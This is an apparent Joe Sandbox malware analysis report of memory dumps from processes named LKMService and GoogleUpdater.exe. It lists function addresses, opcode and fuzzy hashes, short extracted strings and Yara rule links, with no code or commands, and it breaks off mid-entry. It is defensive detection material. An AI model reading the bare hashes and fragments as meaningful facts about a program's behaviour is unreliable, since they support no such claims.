Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a79962606882d773919a5949a5f6549565cfb537a06840f12fed0f295c02c66
Instruction ID: 482e07da2bf36e481e8a33a568e38b2333a6cee504f2ea31e9994166cc8190f0
Opcode Fuzzy Hash: 7a79962606882d773919a5949a5f6549565cfb537a06840f12fed0f295c02c66
Instruction Fuzzy Hash: A6016D32D1060AA7CB04DBA9E8404DDF7BAEFC5310F158666E521B7260EB70254AC790

Function 00E40D51 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20687ce1c8b14b9798521f9abcc4427afab36645adf32f7212b8ea7a174482a4
Instruction ID: 92dfe27925baae6701710b864a0b0232ff8be5d37593143fa6d8180da8de04f6
Opcode Fuzzy Hash: 20687ce1c8b14b9798521f9abcc4427afab36645adf32f7212b8ea7a174482a4
Instruction Fuzzy Hash: 76F0F631E54209DBCB159BB4C4A86EFBFB59F44300F05853AC902B7284DEB4690BDBD2

Function 00E40901 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36eb37363de6ad45bc2a198ca98cceaa5a597fc71a1a5ecc792f9c89eea0e9e4
Instruction ID: 5b40bd1b4ceff26f6e493d8138768cba05b93f52cac8ac6f0c176575a824ea21
Opcode Fuzzy Hash: 36eb37363de6ad45bc2a198ca98cceaa5a597fc71a1a5ecc792f9c89eea0e9e4
Instruction Fuzzy Hash: EEF02232904209AFDB05DB60C825AEFBFB69FC8300F11892AD102BB291DE705606CBD2

Function 00E41C50 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64876dd24bcf12980cf1af8f49946c444d87923c2216fbc1c0b302e197e2e9f3
Instruction ID: f74dccb9858d2ea158b3dc689c2d83aafa51bb9ee0e2d53c5f6226fdae21b0de
Opcode Fuzzy Hash: 64876dd24bcf12980cf1af8f49946c444d87923c2216fbc1c0b302e197e2e9f3
Instruction Fuzzy Hash: 1BF0F672A10209DBCF049B74C9699EFBFB5AF44700F158525D402FB350EE70A906CAD2

Function 00E4307C Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b14640ba67c53f0a64189619b58961b7c76737c3b8e4c0622af21ec3787fb3d0
Instruction ID: c43da5226413dc5885723c7623818fd40939c45d4ecdde6245f35d8b6d2a4681
Opcode Fuzzy Hash: b14640ba67c53f0a64189619b58961b7c76737c3b8e4c0622af21ec3787fb3d0
Instruction Fuzzy Hash: A801D131A043858BCF05CF34C4649EEBFB29F84710F058A6AC402AB295DE75550BCB92

Function 00E446A0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c2e7e475167a50bc7f496e0bfc6b06c62a4bc1e7661ca1432ccba009d8060b
Instruction ID: 6308003221e2706cdbb4d2a897e393a8d2e86af4945280b0201b45c664652ca7
Opcode Fuzzy Hash: 97c2e7e475167a50bc7f496e0bfc6b06c62a4bc1e7661ca1432ccba009d8060b
Instruction Fuzzy Hash: 08F03136D5070FD6CB009BA5D8404DEFBBAEFC9320F694651D511771A4EB70218ACBA1

Function 00E433E9 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 332f06567d7ecedca9efd9191291f437390e28015d7fdc0d33b35d455d9a836d
Instruction ID: ecdd6229d0c7db9103e1e3e4905c1d0463b83138d5b69ac63ca88e00a085d29f
Opcode Fuzzy Hash: 332f06567d7ecedca9efd9191291f437390e28015d7fdc0d33b35d455d9a836d
Instruction Fuzzy Hash: 41F0C272E102059BCB15DF74C465AEFBFB29F84310F15893AD452B7290EF749A068B92

Function 00E46458 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c28cb210a4f1eee56a59811c13a03c205f40ec67af274af42cca7fa3946e5b
Instruction ID: d68a6522956917fa27bb608cdfefee15e06748156ffd6e89e1593f01c3c07c5c
Opcode Fuzzy Hash: a5c28cb210a4f1eee56a59811c13a03c205f40ec67af274af42cca7fa3946e5b
Instruction Fuzzy Hash: E0F03732D1061AA6CB00DBA9DD405CDF7B6EFDA320F660661E100B7160EB70368AC7A1

Function 00E42008 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc61a58fc18ca0c4ce40efb13f284a31d2583e1279d3586786d99526079585f
Instruction ID: fff6ff3ca1c28c0ed4a0ffbef59f628a3fbbc8a1d0214de597e8c179a9850f2e
Opcode Fuzzy Hash: 6cc61a58fc18ca0c4ce40efb13f284a31d2583e1279d3586786d99526079585f
Instruction Fuzzy Hash: 56F03C32D1061AA7CB00DBA9DD444DDB7BAEFC5310F554651E11077160EB74258AC751

Function 00E46DD0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8b34dcd9da09a8bd170c2a45b1e89f0ca506e94412d77e9bca3c1463f7c314
Instruction ID: 37a42b7d4285d6904008c5abda405ec64547581f8ba1da145c210c73eb573b01
Opcode Fuzzy Hash: ca8b34dcd9da09a8bd170c2a45b1e89f0ca506e94412d77e9bca3c1463f7c314
Instruction Fuzzy Hash: E9F03C32D1060AA6CF00DBA9DC004CDFBB6EFC9310F554B51E10077160EB74258AC6A1

Function 00DAD784 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3529852562.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_dad000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cdc1b1f874b5782d1f43bb1d577d53345ddb2a439b5618550095b577b852b60
Instruction ID: 397f1a9710060f9d0bde6d18b2bb8a32208983955974212403b8e597b4d726ed
Opcode Fuzzy Hash: 5cdc1b1f874b5782d1f43bb1d577d53345ddb2a439b5618550095b577b852b60
Instruction Fuzzy Hash: 69F0C2710083409EE7148E1ACD84B62FFA8EB52724F18C45AED094A286C6799840CBB1

Function 00E41718 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91cd23ee6be632acd5d221d83410fc67985811e4b4fbbc814d166efadeeee734
Instruction ID: b63dd062cc592b886332749927f8d06e58c68812a979729c41eb119a390c2637
Opcode Fuzzy Hash: 91cd23ee6be632acd5d221d83410fc67985811e4b4fbbc814d166efadeeee734
Instruction Fuzzy Hash: FEF0E272608300AFC7026B69A8558AFBBA2DFC2350300853BF54ADB795DF24ED048BF5

Function 00E43090 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9409535523a7b001fcbe1c6b17e9d8248ddb1d871aebd6898392d8e047aa67b
Instruction ID: a1c8f5375b4f05ad31143eddbea184587883d5ef7c866e4c5f3bef4e213143f2
Opcode Fuzzy Hash: d9409535523a7b001fcbe1c6b17e9d8248ddb1d871aebd6898392d8e047aa67b
Instruction Fuzzy Hash: 4CF08971E1020997DF14DB74C5555EFBFB65F84710F158526D402B7350DEB0AA068AD2

Function 00E41C60 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 404eaa6f92440f325e41320b13994514ec02761b00d936cadae9aa292c4b4048
Instruction ID: 8b9e17d64370b54785950a3360ac2c7b992b8fbf7e2293654f9bd2b2a0fdb2dd
Opcode Fuzzy Hash: 404eaa6f92440f325e41320b13994514ec02761b00d936cadae9aa292c4b4048
Instruction Fuzzy Hash: E1F0E932E5020997CF04DB74C8559EFFFB69F44300F144525C002B7380EE70690686D2

Function 00E40910 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389ed81c16e4a9564a4a527980a35761c2f601e08a4a46b5843e47ba8fab8c0e
Instruction ID: 6bfd5ec151a5d0a7b98e193b0680fe33b97c2552605d22efe4e21d03eb30ff24
Opcode Fuzzy Hash: 389ed81c16e4a9564a4a527980a35761c2f601e08a4a46b5843e47ba8fab8c0e
Instruction Fuzzy Hash: 5CF0BE32E102099BDB04DB64C455AEFBBA69FC8300F0089269502B7280DEB0690687D2

Function 00E433F8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1deb6abad2c73469670a400d4cd29afb8dc8f22a2b2afc0dd28892f442bc42aa
Instruction ID: 6d44178219928c459033043b60ffc0a2b4597380852ab67a8e304a3b06edb928
Opcode Fuzzy Hash: 1deb6abad2c73469670a400d4cd29afb8dc8f22a2b2afc0dd28892f442bc42aa
Instruction Fuzzy Hash: A3F0E232E102099BCF05EF74C4559EFBFBA9F84310F148526D012B7380DEB4AA068BD2

Function 00E425D8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b3041542c4f764873d007d2a558a2927de1fc29e478a216706a505c550ff12b
Instruction ID: e79c52b2c0088c86f184f536e154642215bab747b31f5905932178e4e5649105
Opcode Fuzzy Hash: 9b3041542c4f764873d007d2a558a2927de1fc29e478a216706a505c550ff12b
Instruction Fuzzy Hash: 06F0A772E1020997DF15EB64C425AEFFFBA9F84310F45892AD512B7380DEB06906D7D2

Function 00E42100 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bad423481d3e3afac32686e4e8b0c2025704ffe85eb17605ab51bc1336c77d55
Instruction ID: 792384226bb17211e6e57e7700fe917b245e81a8965c3e6ee9cfd04e0119d17a
Opcode Fuzzy Hash: bad423481d3e3afac32686e4e8b0c2025704ffe85eb17605ab51bc1336c77d55
Instruction Fuzzy Hash: ABF06230545284DFCB02FF64ED51BA9BBBAEE4620470495A59448DF26BDB30AE08CBA0

Function 00E44728 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb3e0d60a8a5acffcd20489753989d4d60f74d156ed34ba40af8f484708809b4
Instruction ID: fec41ba7d64819578414db2ae273833b29731231e3850bd59a13ae585dafce46
Opcode Fuzzy Hash: eb3e0d60a8a5acffcd20489753989d4d60f74d156ed34ba40af8f484708809b4
Instruction Fuzzy Hash: 84F08272E1020997DF14DB64C859AEFBBBA9B84300F45852A9402B7380DF706907C6D2

Function 00E40838 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2fe84d48cf0b5bd3edae51d784abcfd166411a40d55c172aa3a49ba97c35bf
Instruction ID: c3bb406cb5be8a54a2e9e19fc59beeda275850e06de9775b114235a82e3640c0
Opcode Fuzzy Hash: 8d2fe84d48cf0b5bd3edae51d784abcfd166411a40d55c172aa3a49ba97c35bf
Instruction Fuzzy Hash: 92E0E571809389DFDB02CFA5C9192987FB4FF0A380F5645E6E484CF26AD6319911DB92

Function 00E42110 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 558ee764fe844a4efd9be84394068e8172915291ce7ddf66d1a0003a2a1f1491
Instruction ID: 721b2fed8edfb287e75302dd5701b70c7decf073326b0e491e34830a1324b627
Opcode Fuzzy Hash: 558ee764fe844a4efd9be84394068e8172915291ce7ddf66d1a0003a2a1f1491
Instruction Fuzzy Hash: AEF03030541108DFC701FB68F941A6DB7AAEB45300B10957490199B76AEB30AE449B90

Function 00E41798 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a232f1ee8e32d538235329b1cade4116efc2166b32fad5c667df6db1c7b8974e
Instruction ID: 197e6b6388c7a614bf3d7e7822ca4f0ac3fb30c51735f5869661a5f6ee1f97dc
Opcode Fuzzy Hash: a232f1ee8e32d538235329b1cade4116efc2166b32fad5c667df6db1c7b8974e
Instruction Fuzzy Hash: F7D02E323003148BCF2CA6B8B90116A33D98F89769B0014BFE20DCB341E932D84083C4

Function 00E44639 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6e3e9352308fbbb7f1044712c416c09e274e65bf711e9889763919cbbfe9946
Instruction ID: 80fcedee7a97decf2a3c854aa429895ad2d701f6e8cb758af418833babe2a838
Opcode Fuzzy Hash: d6e3e9352308fbbb7f1044712c416c09e274e65bf711e9889763919cbbfe9946
Instruction Fuzzy Hash: DAD02B203CE2904FCF03A33874605E57F794D4311030D40DBC449DF293C8295C068791

Function 00E424DC Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e1a07a2cee30c9bb7df41df12626b5cdfa05dc2b78089e15439c7dd5d0de69
Instruction ID: bb763f00d9e3c68582b4848d340abfc8f78a9a8cd0fc81d0be04552220b723a8
Opcode Fuzzy Hash: e5e1a07a2cee30c9bb7df41df12626b5cdfa05dc2b78089e15439c7dd5d0de69
Instruction Fuzzy Hash: 59D05B71F193545FCB155F7CA51019CBF70DBC522075581F7D155C72A1D634C5148721

Function 00E40848 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a6b773bc9166e9b220523805c7bace38e447733b2495e8ab1966b21a3b49371
Instruction ID: 919beeef324de47e9278cea9cd585c5235c9a4faec47196a1f5b96b33df3794b
Opcode Fuzzy Hash: 7a6b773bc9166e9b220523805c7bace38e447733b2495e8ab1966b21a3b49371
Instruction Fuzzy Hash: B8D01772D05308EFEB02CFA4DA0575D7BB8BB05240F6505A5E448D7215DA319E50C791

Function 00E41788 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f0721a267fee740e8b6b25c489015a8cb37acf413db95fdd4cb40e05a8a6a2
Instruction ID: 80e5483b835ef6ad741982a3adbd92ead5d3769a4627cef781f932fc8304dc36
Opcode Fuzzy Hash: d3f0721a267fee740e8b6b25c489015a8cb37acf413db95fdd4cb40e05a8a6a2
Instruction Fuzzy Hash: B7D0A93220E3904EEB0B02B02EA00A57FA94E0729931A10FFD148EA6B3E06488088765

Function 00E42726 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a05fd4821cfd67ea2086dbcf2bfabc7682e24365f46846a43c949677419c1795
Instruction ID: 2f52d1b51228050a25b9e45e6413c88a578003d7a04b435e5c8e05cb8dc2dcc0
Opcode Fuzzy Hash: a05fd4821cfd67ea2086dbcf2bfabc7682e24365f46846a43c949677419c1795
Instruction Fuzzy Hash: 9AD0A73574110D8F8F109BA8AA044DC7BE0DAD413171441A6D656A71A1CB2089518732

Function 00E44648 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e4a471e9dde04de6fa6928f963c749b6abbec4668b497c0e3321fcd3ec30dc
Instruction ID: 6b177f4784faf247db99635d24425e55b8f93398209019a5a58522dcf5e917c0
Opcode Fuzzy Hash: 25e4a471e9dde04de6fa6928f963c749b6abbec4668b497c0e3321fcd3ec30dc
Instruction Fuzzy Hash: 77C02B31340128478608F298F40195AB3CDDB84170300807ADA0EEF355DD33FC0347D0

Function 00E46C61 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c6800c924190390e479885f75445ac85f702027aa515465cfff83b0d19a22d0
Instruction ID: fc826c54e6bfcecb75b1cf11ad0a589c8602bb4e0376fe0a6340a69e3ed17d97
Opcode Fuzzy Hash: 7c6800c924190390e479885f75445ac85f702027aa515465cfff83b0d19a22d0
Instruction Fuzzy Hash: 2EB09236A0401889DB008A84B8813ECF760E780229F2000A7C21862400823201645682

Analysis Process: GoogleUpdater.exePID: 7124, Parent PID: 2580COMMON

Executed Functions

Function 04C06558 Relevance: 3.0, Strings: 2, Instructions: 519COMMON

Download Yara Rule

Strings

4`q, xrefs: 04C06592
fcq, xrefs: 04C067AD

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: fcq$4`q
API String ID: 0-4026759131
Opcode ID: 97539dafd418236ddca7e279dd82c2a1e4f6635b1b0a8167f962c6cd1b6e5557
Instruction ID: 3ca65debbf5b36341025406b2c999f42b57b9d5cee58e544c4fc61b71f1148a6
Opcode Fuzzy Hash: 97539dafd418236ddca7e279dd82c2a1e4f6635b1b0a8167f962c6cd1b6e5557
Instruction Fuzzy Hash: 89222A70A003198FDB15DF68C984A9DBBF2BF89314F1582A9D419AF3A5DB30ED46CB50

Function 04C06549 Relevance: 1.7, Strings: 1, Instructions: 456COMMON

Download Yara Rule

Strings

fcq, xrefs: 04C067AD

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: 9c72deba55f9104c24e5392308049eda8040e236a797e77c6bb522d3cc85beb2
Instruction ID: c35b461d19fc85b14227e0e9d42412d4549fca95adf72fbf7939ee29900c219b
Opcode Fuzzy Hash: 9c72deba55f9104c24e5392308049eda8040e236a797e77c6bb522d3cc85beb2
Instruction Fuzzy Hash: C7125D70A003198FCB15DFA8C884AADBBF2BF89314F158569D419AF3A5DB34ED45CB90

Function 04C03B00 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 240e637870899cd99ad886a67ab9fb870c6afa1f9aa621cef189cb88570ae9a7
Instruction ID: 831b5acd46815c4f47cab752ec98a9385d5740c376df0af45f64681c5bf39170
Opcode Fuzzy Hash: 240e637870899cd99ad886a67ab9fb870c6afa1f9aa621cef189cb88570ae9a7
Instruction Fuzzy Hash: 9BF13E75A002489FCB05DF69D680A9DB7F2FF88310B658595E819EB366DB30FE46CB40

Function 04C06158 Relevance: 5.2, Strings: 4, Instructions: 196COMMON

Download Yara Rule

Strings

xbq, xrefs: 04C062E7
xbq, xrefs: 04C0628B
(bq, xrefs: 04C063A2
(bq, xrefs: 04C063CE

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: (bq$(bq$xbq$xbq
API String ID: 0-2582918839
Opcode ID: e20370c25f556753bb4d3694a5bdd8ee7675ea4e3e374c4d0bf792bcef8f8155
Instruction ID: 4665756f87f0bc779f17087dbecceb82fba48495ff10695aa7bc87e110a086fa
Opcode Fuzzy Hash: e20370c25f556753bb4d3694a5bdd8ee7675ea4e3e374c4d0bf792bcef8f8155
Instruction Fuzzy Hash: 7261AE313002449FDB169F69C854B6E7BA2EFC9314F14C56DE40A8B3A2CE36ED42CB91

Function 04C02180 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

4`q, xrefs: 04C021B6
fcq, xrefs: 04C02393

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: fcq$4`q
API String ID: 0-4026759131
Opcode ID: ba1049df2ce1a5c234070bf48a8a3e7ae8cc1a8c1f42013971c0ee4d2f5c26b9
Instruction ID: 300ea63de1f878aea5124758f5bdccff872f2c1436438b375ac0285618fcf4e4
Opcode Fuzzy Hash: ba1049df2ce1a5c234070bf48a8a3e7ae8cc1a8c1f42013971c0ee4d2f5c26b9
Instruction Fuzzy Hash: B4C14870A012099FDB09CFA8D584AADBBF6BF89310F1581A5E855EB3A5DB30ED41CB50

Function 04C05B85 Relevance: 2.5, Strings: 1, Instructions: 1264COMMON

Download Yara Rule

Strings

xbq, xrefs: 04C0628B

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: xbq
API String ID: 0-73991425
Opcode ID: d919b858e65153a71f4c8cdb62fb2957fedcbe912da634b9b552ab10a66736e5
Instruction ID: bf978aad1fbd29fd927230afc389d97e325159184c78f6ef42f9af9907d7bcb1
Opcode Fuzzy Hash: d919b858e65153a71f4c8cdb62fb2957fedcbe912da634b9b552ab10a66736e5
Instruction Fuzzy Hash: 3051D4303043809FD716DF28C864BAA7BB2EF85314F15C5AAE4468B2E2CA35ED46CB51

Function 04C05C48 Relevance: 2.0, Strings: 1, Instructions: 723COMMON

Download Yara Rule

Strings

xbq, xrefs: 04C0628B

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: xbq
API String ID: 0-73991425
Opcode ID: 7deda2fcbf233051de4b3beba4110a9807f0e23bf631cf2f4b96139b7565b3ac
Instruction ID: e4dd55b2a01c963166eafb1317079dde7956220d9376f315ec6214fb54b1c5e0
Opcode Fuzzy Hash: 7deda2fcbf233051de4b3beba4110a9807f0e23bf631cf2f4b96139b7565b3ac
Instruction Fuzzy Hash: A0519E303002419FDB16DF68C854BAE7BA2EF84314F15C56DE41A8B3E2DA72ED56CB90

Function 04C06ED0 Relevance: 1.6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

Strings

fcq, xrefs: 04C06F03

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: fcq
API String ID: 0-2768158334
Opcode ID: b895bd0e7d30bcfd632a0ef7296d7661bea2702334cb2b887ac3734c1bc260cf
